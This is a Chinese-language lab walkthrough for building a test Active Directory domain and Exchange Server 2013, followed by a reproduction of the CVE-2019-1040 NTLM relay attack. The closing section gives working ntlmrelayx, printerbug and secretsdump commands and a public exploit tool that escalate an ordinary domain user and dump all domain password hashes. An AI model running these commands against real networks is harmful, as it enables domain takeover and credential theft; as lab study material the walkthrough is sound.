搭建域環境,安裝Exchange Server 2013,復現CVE-2019-1040
搭建域環境
作業系統: 域控:Windows server 2008 R2 域成員:Windows Server 2012 、 Windows 7
對於將要安裝成為DC的伺服器來講,其系統配置以及基本的磁碟規劃在此就不在累述了,但是關鍵的網路連線屬性是必須要注意的。可以通過開啟本地連線的屬性來進行配置其IP屬性。作為伺服器DC的IP地址一定要是靜態的IP地址,雖然不一定需要配置預設閘道器,但是DNS伺服器指向一定要配置正確,因為AD的工作是緊密依賴於DNS服務的。本例項中整個微軟網路環境都是白手起家的,考慮讓這第一臺DC同時充當企業網路中的DNS伺服器,故需要將其首選DNS伺服器地址配置為本臺計算機的IP地址。
安裝DNS服務
首先應該配置 DNS 伺服器的靜態 IP
DNS 伺服器的地址設定為自己的地址 127.0.0.1:
開始選單 -> 管理工具 -> 伺服器管理器, 選擇左側樹形選單 "角色" 節點,右鍵 "新增角色",此處的 "角色" 表示此伺服器要被配置為什麼功能的伺服器,即提供什麼樣的服務:
勾選 "DNS 伺服器" 角色,安裝
安裝 Active Directory 域服務
進入 "伺服器管理器"中新增 AD 域服務角色:
或者點選開始選單 -> 執行 -> 輸入命令 "dcpromo" ,然後回車.
dcpromo 命令是一個 "開關" 命令。如果 Windows Server 2008 計算機是成員伺服器,則 執行 dcpromo 命令會安裝 AD 活動目錄,將其升級為域控制器;如果Windows Server 2008 計算機已經是域控制器,則執行 dcpromo 命令會解除安裝 AD 活動目錄,將其降級為成員伺服器。
進入安裝介面介面:
注意:如果是第一次搭建也是你整個內網中的第一臺域控制器,那麼需要選擇第二項 "在新林中新建域",第一項是內網中已經存在 AD 環境再想搭建額外域控制器的時候使用的。
選擇 "在新林中新建域”並點選",點選 "下一步" 按鈕:
下一步之後,配置命名你的域名,這個要慎重,因為這個配置完畢之後要修改很麻煩的,而且域重新命名的風險不是一般的大
進入林功能級別設定介面
這裡需要強調的是,如果你的AD中以後可能會出現server 2003系統的域控制器,請務必選擇2003的域功能級別,要不你以後那些server 2003的伺服器就做不了域控制器了,保險起見的話,安裝第一臺DC的時候,都選擇的低一點吧,以後要升到2008的域功能級別是沒問題的,但是選了2008的功能級別,以後要降級就難了!
點選 "下一步" 按鈕:
如果最初沒有安裝 DNS 伺服器,此處可以勾選並安裝:
如果已經安裝,此處即為灰色。
彈出 DNS 提示框,不用理會,點選 "是" 按鈕,繼續安裝:
進入AD 域的資料庫檔案、日誌檔案和共享檔案位置設定頁面,此處保持預設設定,點選 "下一步" 按鈕:
進入 "域還原密碼" 設定介面,此密碼相當的重要,後續做資料庫遷移、備份、整理、恢復的時候都可能用到,務必要牢記:
下一步之後就是檢視一下你整個DC搭建的配置資訊了,你可以匯出到一個位置保持起來,以便後續排錯時查閱,也可以作為DC安裝時的無人值守安裝的指令碼
下一步之後,等待幾分鐘就會顯示安裝完成,
重啟機器之後,AD就正式搭建成功了。
(在完成域控制器的安裝後,系統會自動的將該伺服器的使用者賬號轉移到 AD 資料庫中。)
檢查 DC 是否已經註冊到 DNS
域控制器 DC 會將自己扮演的角色註冊到 DNS 伺服器內,以便讓其他計算機能夠通過 DNS 伺服器來找到這臺域控制器,因此先檢查 DNS 伺服器內是否已經存在這些記錄。利用域系統管理員(YOKAN/Administrator)登入。
檢查主機記錄
首先檢查域控制器是否已經將其主機名與 IP 地址註冊到 DNS 伺服器內。到扮演 DNS 伺服器角色的計算機上點選 "DNS" 選單:
此處應該會有一個名稱為 yokan.com 的區域,圖中的主機(A)記錄表示域控制器 win-1d09baa27uf.yokan.com 已經正確地將其主機名與 IP 地址註冊到 DNS 伺服器內。DNS 客戶端所提出的請求大多是正向解析,即通過 hostname 來解析 IP 地址對應與此處的正向查詢區域;通過 IP 來查詢 hostname 即為反向解析,對應於此處的反向查詢區域。
如果域控制器已經正確地將其扮演的角色註冊到 DNS 伺服器,則還應該有對應的 _tcp、_udp 等資料夾。在單擊 _tcp 資料夾後可以看到如下所示的介面,其中資料型別為服務位置(SRV)的 _ldap 記錄,表示win-1d09baa27uf.yokan.com已經正確地註冊為域控制器。其中的 _gc 記錄還可以看出全域性編錄伺服器的角色也是由win-1d09baa27uf.yokan.com扮演的。
DNS 區域內包含這些資料後,其他要加入域的計算機就可以通過通過此區域來得知域控制器為win-1d09baa27uf.yokan.com。這些加入域的成員也會將其主機與 IP 地址資料註冊到此區域內。
管理 AD 域使用者賬戶
可以使用如下兩個工具來管理域賬戶:
Active Directory 使用者和計算機:這是之前 Windows Server 2008、Windows Server 2003 等系統就已經提供的工具;
Active Directory 管理中心:這是從 Windows Server 2008 R2 開始提供的工具,用來取代 Active Directory 使用者和計算機。
下面,通過使用 Active Directory 使用者和計算機進行演示 建立組織單位與域使用者賬戶:
可以將使用者賬戶建立到任何一個容器或組織單位(OU)內。
建立組織單位:
輸入test的組織單位,然後點選 "確定" 按鈕,即可建立成功。
進入建立使用者介面,填入使用者資訊
注意:
使用者 UPN 登入:使用者可以利用這個與電子郵箱格式相同的名稱( [email protected])來登入域,此名稱被稱為 User Principal Name(UPN)。在整個林內,此名稱必須是唯一的。
使用者 SamAccountName 登入:使用者也可以利用此名稱(YOKAN\justtest)來登入域,其中 YOKAN 為 NetBIOS 域名。同一個域內,此登入名稱必須是唯一的。Windows NT、Windows 98 等舊版系統並不支援 UPN,因此在這些計算機上登入時,只能使用此處的登入名。
建立好上面的域使用者賬戶之後,就可以用來測試登入域的操作。直接到域內任何一臺非域控制器的計算機上登入域。一般使用者賬戶預設無法在域控制器上登入,除非另外開放
將Windows Server 2012加入域
首先,更改客戶端計算機(要加入到域中的計算機)的DNS,使其指向域控制器。如圖:
我的電腦->屬性->更改設定
在彈出的計算機屬性對話方塊中點選【更改】:
選擇“域”,輸入建立的域名稱“yokan.com”,點選確定
如果DNS設定成功,會提示輸入密碼對話方塊,這時我們需要輸入一位已經在域中的使用者的使用者名稱和密碼,並不一定是管理員。
當輸入的使用者名稱和密碼驗證通過後就可以成功加入到域中了,成功加入後會有如下提示
將Windows 7加入域
操作方法與Windows Server 2012相同,不再贅訴
安裝Exchange Server 2013
作業系統:Windows Server 2012
https://msdn.itellyou.cn/下載iso檔案,解壓
先決條件安裝
安裝遠端工具管理包
Install–WindowsFeature RSAT-ADDS
安裝Windows元件
Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation
按順序安裝下面三個工具:
Microsoft Office 2010 Filter Packs:
http://www.microsoft.com/en-us/download/details.aspx?id=17062
Service Pack 1 for Microsoft Office Filter Pack 2010 (KB2460041) 64-bit Edition:
http://www.microsoft.com/en-us/download/details.aspx?id=26604
Unified Communications Managed API 4.0 Runtime(注意:安裝Unified Communications Managed API 4.0 Runtime的時候,需先安裝“媒體基礎”的功能,具體步驟我就不說了,直接在“新增角色和功能”裡面新增就好了)
http://www.microsoft.com/en-us/download/details.aspx?id=34992
安裝Exchange 2013
一、準備Active Directory(如果是第一次安裝Exchange Server 2013)
Active Directory要求:
1、架構主機執行的是Windows Server 2003 SP2或更高的Windows Server版本;
2、每個站點至少有一個全域性編錄伺服器,執行的是Windows Server 2003 SP2或更高版本;
3、每個站點至少有一臺域控制器,執行的是Windows Server 2003 SP2或更高版本;
4、Windows Server 2003林功能級別或者更高;
5、以架構管理員、域管理員和企業管理員許可權的賬戶來執行Exchange安裝程式;
具體安裝過程:
1、開啟powershell,切換到Exchange安裝檔案所在的磁碟
2、架構的準備(setup /ps);在這樣要注意的:在cmd裡面的時候,我們直接輸入“setup /ps”就可以執行的,但到powershell裡卻不行了,因為powershell預設情況下不從此路徑載入命令,所有需要輸入“.\setup /ps”這樣就可以了嗎?還不行,因你還需要接收許可協議,輸入“/IAcceptExchangeServerLicenseTerms”才行,所有這裡完整的命令應該是:
.\setup /ps /IAcceptExchangeServerLicenseTerms
3、擴充套件林,輸入“.\Setup/P/OrganizationName:XXXXX/IAcceptExchangeServerLicenseTerms”(其中XXXXX是你的組織名)
注意:如果您的組織名稱包含空格,則必須用引號括起來。
4、準備本地域“.\Setup /pd /IAcceptExchangeServerLicenseTerms”
5、在組織中準備域,輸入“.\Setup /pad /IAcceptExchangeServerLicenseTerms”
6、雙擊“Setup.exe”進行安裝
不立即檢查更新
郵箱角色、客戶端訪問角色
這裡的兩個先決條件在上面,要按順序安裝了。如果不按順序,會出現安裝失敗的;然後選擇“安裝”;
進入安裝步驟,一共14步,大概1個小時左右。
安裝完成
安裝後試用階段
1、進入Exchange管理中心
2、試用管理員賬號,登陸管理中心頁面,如下圖
3、Outlook Web App 登入
4、新增賬號,首先新增AD賬號(如下圖),然後新增Exchange賬號(步驟5)
開啟AD使用者和計算機,新增AD賬號。
5、進入Exchange管理中心,如下圖新增使用者,彈出使用者郵箱,點選瀏覽找到AD賬號,確定,即可新增。
6、新增成功,郵箱列表下,多了一個新的賬號
7、使用管理員賬號登入OWA,併發一封測試郵件
8、檢視已傳送郵件,有我們剛剛傳送的郵件
9、登陸新賬號justtest,檢視新郵件,收到新郵件,大功告成!
CVE-2019-1040利用
漏洞概述
2019年6月,Microsoft釋出了一條安全更新。該更新針對CVE-2019-1040漏洞進行修復。此次漏洞,攻擊者可以通過中間人攻擊,繞過NTLM MIC(訊息完整性檢查)保護,將身份驗證流量中繼到目標伺服器。 通過這種攻擊使得攻擊者在僅有一個普通域賬號的情況下可以遠端控制 Windows 域內的任何機器,包括域控伺服器
漏洞利用
前提條件
A、Exchange伺服器可以是任何版本(包括為PrivExchange修補的版本)。唯一的要求是,在以共享許可權或RBAC模式安裝時,Exchange預設具有高許可權。
B、域內任意賬戶。(由於能產生SpoolService錯誤的唯一要求是任何經過身份驗證的域內帳戶)
C、CVE-2019-1040漏洞的實質是NTLM資料包完整性校驗存在缺陷,故可以修改NTLM身份驗證資料包而不會使身份驗證失效。而此攻擊鏈中攻擊者刪除了資料包中阻止從SMB轉發到LDAP的標誌。
D、構造請求使Exchange Server向攻擊者進行身份驗證,並通過LDAP將該身份驗證中繼到域控制器,即可使用中繼受害者的許可權在Active Directory中執行操作。比如為攻擊者帳戶授予DCSync許可權。
E、如果在可信但完全不同的AD林中有使用者,同樣可以在域中執行完全相同的攻擊。(因為任何經過身份驗證的使用者都可以觸發SpoolService反向連線)
漏洞利用攻擊鏈
1、使用域內任意帳戶,通過SMB連線到被攻擊ExchangeServer,並指定中繼攻擊伺服器。同時必須利用SpoolService錯誤觸發反向SMB連結。
2、中繼伺服器通過SMB回連攻擊者主機,然後利用ntlmrelayx將利用CVE-2019-1040漏洞修改NTLM身份驗證資料後的SMB請求據包中繼到LDAP。
3、使用中繼的LDAP身份驗證,此時Exchange Server可以為攻擊者帳戶授予DCSync許可權。
4、攻擊者帳戶使用DCSync轉儲AD域中的所有域使用者密碼雜湊值(包含域管理員的hash,此時已拿下整個域)。
漏洞驗證
驗證環境:
DC : Windows server 2008 R2 192.168.111.134 WIN-1D09BAA27UF.yokan.comyokan.com
Exchange:Windows Server 2012 192.168.111.135 WIN-A5C3LTTJ4TK.yokan.comyokan.com
攻擊機: Windows 10 192.168.111.138 Kali 192.168.111.129
已獲得的普通域使用者: justtest *****************
漏洞利用 方法1
①執行ntlmrelayx.py指令碼進行NTLM中繼攻擊,設定SMB伺服器並將認證憑據中繼到LDAP協議。其中--remove-mic選項用於清除MIC標誌,--escalate-user用於提升指定使用者許可權。
./ntlmrelayx.py --remove-mic --escalate-user justtest -t ldap://WIN-1D09BAA27UF.yokan.com -smb2support ./ntlmrelayx.py --remove-mic --escalate-user justtest -t ldap://192.168.111.134 -smb2support
② 執行printerbug.py指令碼,觸發SpoolService的bug。
python printerbug.py 域/使用者名稱:密碼@Exchange服務ip 回連ip ./printerbug.py yokan.com/[email protected] 192.168.111.129 ./printerbug.py yokan.com/[email protected] 192.168.111.129
③SpoolService的bug導致Exchange伺服器回連到ntlmrelayx.py,即將認證資訊傳送到ntlmrelayx.py。
④ 完成ACL的修改後,justtest就可以通過secretsdump.py的DCSync功能dump出所有密碼雜湊值:
./secretsdump.py yokan.com/[email protected] -just-dc ./secretsdump.py yokan.com/[email protected]
漏洞利用 方法2
利用工具 https://github.com/Ridter/CVE-2019-1040
利用方法:
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip
參考:
https://www.cnblogs.com/cnjavahome/p/9029665.html
https://www.cnblogs.com/sjdn/p/5509885.html
https://blog.51cto.com/yupeizhi/1586664
https://blog.csdn.net/u011189710/article/details/81150026